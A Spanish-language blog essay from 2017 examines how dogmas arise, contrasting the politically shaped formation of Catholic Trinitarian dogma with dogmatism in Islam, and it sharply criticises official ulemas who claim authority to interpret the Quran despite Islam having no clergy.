miércoles , octubre 18 2017

Sobre el dogmatismo en el islam

¿Cómo se crean los dogmas? ¿Quién los crea? ¿A qué necesidad psíquica responden? ¿A qué modelo de religiosidad remiten? ¿Cuál es la política consecuente con el dogmatismo?

Estas preguntas son interesadas: ya dan por supuesto que los dogmas son una creación humana. Pero también son interesantes: una invitación a considerar el origen de los dogmas, aquellos motivos por los cuales –por lo menos para algunos- se hacen necesarios. Sobre lo primero, podemos aportar numerosas evidencias. Todos los dogmas del catolicismo fueron objeto de arduas discusiones, sucesivos concilios en los cuales se cruzaron puntos de vista sobre la naturaleza de Dios, sobre el papel del Espíritu Santo en la economía de la salvación, sobre la concepción y la naturaleza de Cristo, sobre el rol de la Iglesia y de la autoridad del Papa… Podemos acceder a gran cantidad de documentos, saber quiénes sostenían uno u otro punto de vista, escudriñar sus motivaciones, considerar el papel del poder político y, finalmente, dar cuenta de las consecuencias prácticas de todo ello.

La formación del dogma de la Trinidad es elocuente. No se trata, en ningún caso, de algo dado y simplemente recibido, sino del resultado de un proceso en el cual participan diferentes actores, de modo que pueden escribirse libros sobre “la historia de la formación del dogma trinitario en los primeros siglos”, y otros por el estilo, en los cuales se nos muestran las distintas opciones defendidas por unos y por otros, así como sus implicaciones inmediatas. La intervención imperial fue determinante en los concilios de Nicea (325), Constantinopla (381) y Éfeso (431). El primero fue convocado por el Emperador Constantino y tuvo lugar en el palacio imperial de verano. El segundo fue convocado por el Emperador Teodosio. Los tres tuvieron lugar en un ambiente de fuertes enfrentamientos políticos y de lucha por el poder. Una u otra facción era favorable a una u otra formulación del dogma. No hay ni un solo detalle del dogma trinitario que no responda a los intereses políticos de aquellos que supieron imponerse. La Iglesia recurrió a una terminología propia de la filosofía griega: essentia, sustantia, logos, houxia, doxia, oikonomia, pneuma, phycis, etc. Esta terminología tiene una larga historia, no es en absoluto neutra. Nos remite a un universo intelectual situado en las antípodas del lenguaje del Antiguo Testamento. Mediante la elaboración del dogma de la Trinidad, el mensaje cristiano fue arrancado de su locus originario, para ser romanizado, sobre la base de la episteme griega. Todo el lenguaje institucional de la Iglesia tiene su origen en la religión del Imperio Romano: obispos, ministros, sacerdotes, diáconos… todos ellos son funcionarios del Imperio. La propia palabra dogma es de origen griego.

Un católico puede afirmar que el dogma es donación divina y que todo este proceso es secundario. Los caminos del Señor son inescrutables, y Dios podría haber velado por que el resultado de todos estas complicadas controversias fuese el deseado. La Iglesia, en tanto representante de Dios sobre la tierra, ha sido el instrumento que garantiza la probidad del resultado. Claro que Dios también podría haber entregado los dogmas de forma más directa, de modo que no planease la duda sobre ellos. Pero este no es un asunto que sea de nuestra incumbencia. Lo que nos interesa es establecer las diferencias.

El caso católico no deja lugar a dudas: los dogmas son creación humana. Esto es innegable, incluso para aquellos que defiendan que la Iglesia ha estado guiada por el Espíritu Santo en esta tarea. En este caso existiría cooperación, pero nadie pretende que los dogmas han sido dados, sin más, por Dios a los humanos. Pero ¿qué decir de otras tradiciones? ¿Podemos hablar de dogmas en el hinduismo, en el taoísmo, en el islam o en las tradiciones amerindias? ¿Tienen dogmas los aborígenes de Australia? La respuesta no es simple. Desde el momento en que hemos partido del catolicismo, deberíamos decir que esta concepción del dogma es particular y propia de esta tradición: no existe ninguna otra en la cual exista una institución que se considere fundada directamente por la divinidad, garante de la veracidad de sus doctrinas, encargada de la elaboración y la defensa de los dogmas que todos los creyentes deben acatar. El fenómeno Iglesia es exclusivamente cristiano, lo cual es especialmente cierto con respecto a esta cuestión. La centralidad de la Iglesia es el motivo principal que explica la centralidad del dogma en el catolicismo, como aquello que vincula a los creyentes, por encima de otras consideraciones. Dentro de las tradiciones sin Iglesia –sin magisterio dogmático– hablar de dogmas resulta problemático, cuando no abusivo. Sin embargo, no podemos negar la existencia del dogmatismo, considerado como una tendencia humana.

Antes de pasar a considerar el caso del islam, debemos hacer una advertencia: existe la tendencia a considerar el dogmatismo como algo propio de las llamadas “religiones”. Pero sería ingenuo pensar que se trata de una actitud exclusiva de las mismas. ¿Y qué decir de la ciencia moderna, de los derechos humanos, del secularismo? En sus Cartas sobre el dogmatismo y el criticismo, y en la estela de Kant, Schelling da el nombre de dogmatismo al racionalismo de Descartes y Spinoza. Ciertamente, el racionalismo es dogmático desde el momento en que postula la total sumisión del pensamiento a ciertos principios o a la autoridad que los postula, sin la menor crítica, como si representaran “la verdad”. En este caso, presuponiendo que la razón humana tiene la capacidad de llegar a las últimas verdades de la existencia, de desentrañar y dominar el cosmos circundante, de modo que todo lo que escapa a la razón humana es irracional o inexistente. Este racionalismo va más allá de la experiencia sensible, tiene un fundamento metafísico. Precisamente contra el dogmatismo cartesiano Kant erige su sistema crítico, de cara a delimitar las posibilidades reales de la razón humana.

En el caso del islam, podemos muy bien afirmar que no existen dogmas, pues no existe nada que pueda asimilarse a un magisterio dogmático. El discurso mayoritario entre los musulmanes pasa por negar toda mediación: se exige la entrega a la divinidad, pero no a ninguna institución terrena. Los musulmanes no se adhieren a ninguna doctrina eclesiástica por la sencilla razón de que no admiten tal cosa, ni existe clero ni sacerdotes encargados de administrar ningunos sacramentos. No existe una autoridad religiosa central organizada o magisterio en el islam, lo cual explica la variedad de sus manifestaciones, dificultando el dogmatismo. Todo esto es de sobras conocido… Y, sin embargo, no podemos negar las evidencias. Es cierto que, teóricamente, no debería haber dogmas, pero la actitud dogmática es aplastante. Esto quiere decir: existen ideas, doctrinas, interpretaciones, etc., consideradas por un gran número de musulmanes como verdades absolutas, definitivas, incuestionables, inmutables y absolutamente seguras, sobre las cuales no puede flotar ninguna duda. En el momento en el cual un musulmán pone en duda alguna de estas doctrinas venerables, es objeto de escándalo: será acusado de desviado, de innovador, de inventarse o corromper el islam, de tener el corazón enfermo, de traicionar la tradición, de apostasía o de herejía. La presión a la cual es sometido da cuenta tanto del temor a la pérdida de esas doctrinas venerables, como de la fuerza de determinadas instituciones encargadas de su promoción y defensa.

Nos topamos aquí con el clásico dualismo entre ortodoxia y heterodoxia, entre dogma y herejía. Dentro del marco del islam se ha generado una terminología propia, unos mecanismos particulares mediante los cuales se trata de garantizar la pureza de sus formulaciones. Los eruditos (los ulemas oficiales) actúan como guardianes de la fe. La ironía es que dichos eruditos son los primeros en insistir en la ausencia de clero en el islam. Ellos se consideran a sí mismos como autorizados a interpretar el Corán y a ser honrados como sabios, en una tradición que sitúa en el más alto lugar el conocimiento. Finalmente, se llegará a afirmar que la obediencia de los eruditos es “una obligación legislada”, forma parte de las prescripciones de la Sharia, de modo que la no obediencia a “las gentes de conocimiento” equivale a hacer apostasía. Se llega a esto mediante una argumentación de tipo circular:

  1. No todo el mundo tiene derecho a la interpretación. El islam es algo demasiado serio para dejarlo al arbitrio de cualquiera. Hay gente que ha dedicado su vida al estudio del Corán y de la Sunna, convirtiéndose en expertos.

  2. El Corán aconseja preguntar “a las gentes del recuerdo (de Al-lâh)”, lo cual es interpretado: a los propios sabios oficiales.

  3. El Corán establece la conveniencia de obedecer a “aquellos dotados de autoridad”. Los sabios oficiales se consideran dotados de dicha autoridad, en base a los conocimientos adquiridos.

  4. Esta autoridad es equiparable a la de los profetas, pues existe un hadiz según el cual “los sabios son los herederos de los profetas”. Ellos son los sabios a los que se refiere ese hadiz.

  5. De ello se deduce la obligatoriedad de consultar y obedecer a los eruditos, los únicos autorizados y capacitados para decidir sobre lo halal y lo haram, establecer los ahkam (regulaciones y reglas) y clarificar las leyes y demás asuntos de la vida de los creyentes.

La circularidad de estos argumentos salta a la vista, una tautología erigida para justificar la supremacía de una élite de expertos sobre la masa inerte de los musulmanes. La cuestión, en este punto, es evidente: pero ¿quién se atreve a considerarse a sí mismo como un sabio que debe ser honrado, obedecido, considerado como heredero del Profeta? La arrogancia implícita en esta pretensión habla de la baja categoría intelectual y de la escasa cualidad humana de los eruditos a los que hacemos referencia. Ninguna persona de conocimiento se consideraría jamás a sí misma como tal, ni exigiría obediencia de nadie, y aún menos consideraría su saber como absoluto. Eso es algo que cae por su propio peso. De modo que nos encontramos con un discurso que implica el otorgar la supremacía del islam justo a aquellas personas que, por el hecho de autoproclamarse sabios oficiales, o de aceptar ser considerados como tales, deben ser consideradas como las más arrogantes de las gentes. Nadie que aspire a semejante posición se hace merecedor del mínimo respeto. La propia existencia de “ulemas oficiales” es una anomalía de tal calibre que su existencia solo puede comprenderse en base a la pérdida de toda relación directa de los musulmanes con Al-lâh, lo cual los hace dependientes de todo tipo de mediaciones.

¿Cuál es la causa de esta degeneración? A la hora de justificar la preeminencia de los eruditos, se hecha mano a otros argumentos de tipo circunstancial: el islam se halla amenazado, existen misioneros malintencionados, así como traidores y otras fuerzas hostiles que tratan de destruirlo. Estas actúan en ocasiones desde dentro: son los desviados, los innovadores, etc. Solo la fidelidad a la tradición puede preservar al islam de estas amenazas. Los eruditos oficiales son la única garantía de que el islam se mantenga puro, incorrupto, libre de toda innovación y de todo pensamiento que lo desvirtúe. De ahí que estos ulemas oficiales ocupen, de modo muy concreto, un lugar similar al que la Iglesia ha ocupado en el ámbito cristiano, constituyéndose en mediadores de la revelación e impidiendo el acceso libre de los musulmanes al Corán. Pero ¿acaso todo esto no constituye una innovación infame, que niega el mensaje del Corán en su raíz? Y, aún más, ¿acaso no son estos mismos ulemas oficiales los que están colaborando con las potencias exteriores en su intento de desarticular el islam y convertirlo en una “religión”, según los parámetros del protestantismo liberal?

La causa de esta deriva ya ha sido localizada: el miedo. Aparentemente este miedo es a la pérdida de sentido, a caer en el error, a la destrucción del islam, a no cumplir cabalmente con aquello que ha sido decretado. El musulmán corriente se siente perdido, incapaz de saber si sus actos son correctos o incorrectos, necesitado de una dirección, de una guía. Si bien reconoce que el Corán es esa guía, ante el Libro de Al-lâh se siente perdido, incapaz de discernir qué es aquello que se le demanda, cómo comportarse, cómo responder a situaciones muy concretas. Necesita de otros que le ofrezcan soluciones, que traduzcan a un lenguaje inteligible y a un comportamiento estandarizado todo aquello que el Corán dice de manera a menudo oblicua. Pues el Corán sigue siendo un desafío para la razón humana. El creyente se siente empequeñecido ante el carácter proteico del Corán, no puede manejarlo, se considera (y con razón) incapaz de hacer del Corán un manual de estilo, un catecismo, una doctrina, de sacar del Corán una regla de comportamiento inequívoca y estable… Es en este punto cuando los expertos se presentan con la única solución viable: ellos han realizado ese trabajo, son los herederos de una larga tradición de hombres de conocimiento que han escrutado la revelación hasta la saciedad, analizando todos sus detalles, confrontando interpretaciones divergentes, poniendo unos junto a otros versículos oscuros, de cara a determinar, con el mayor grado posible de verosimilitud, aquello que el Corán propone y nos ordena.

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